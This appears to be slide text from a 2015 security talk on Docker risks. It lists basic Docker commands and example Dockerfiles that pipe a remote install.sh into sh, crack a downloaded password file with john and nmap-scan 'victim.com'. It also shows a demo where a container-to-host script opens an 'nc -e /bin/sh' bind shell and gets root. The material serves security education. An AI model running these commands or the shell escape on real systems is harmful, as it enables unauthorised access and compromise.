Vlatko Kosturjak (@k0st), FSEC, Varaždin, 15th of September
30 minutes
Command | Description |
---|---|
docker ps | list running containers |
docker ps -as | list ALL containers with size |
docker images | list local images |
docker search [term] | search remote central repo for image |
docker run [imagename] | creates container from [imagename] |
docker start [cont] | starts already created container |
docker stop [cont] | stops started container |
FROM debian:latest
RUN apt-get update && apt-get install mysql-server
docker commit
docker diffs
FROM debian:latest
RUN wget http://some.really.cool.app/install.sh -O - | sh
FROM debian:latest
RUN wget https://some.really.cool.app/install.sh -O - | sh
FROM debian:latest
RUN apt-get update && apt-get install john
RUN wget http://rawpastebin.com/bXXXXXX -O /tmp/passwords
RUN john /tmp/passwords
FROM debian:latest
RUN apt-get update && apt-get install nmap
RUN nmap -sT -V -O -p- victim.com
$ ./docker_get_host_shell.rb -p 31337
W, [2015-09-12T03:15:50.224295 #11995] WARN -- : Container IP address: 172.17.0.97
W, [2015-09-12T03:15:50.224832 #11995] WARN -- : Executing shell: nc -e /bin/sh -lvp 31337
$ nc -vv 172.17.0.97 31337
(UNKNOWN) [172.17.0.97] 31337 (?) open
id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys)
id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys)
docker version
Client:
Version: 1.8.1
API version: 1.20
Go version: go1.4.2
Git commit: d12ea79
Built: Thu Aug 13 02:28:37 UTC 2015
OS/Arch: linux/amd64
Server:
Version: 1.8.1
API version: 1.20
Go version: go1.4.2
Git commit: d12ea79
Built: Thu Aug 13 02:28:37 UTC 2015
OS/Arch: linux/amd64
“...For example, I think Alpine Linux may be a good distro to contribute to. Surely there are others... ” -Solar Designer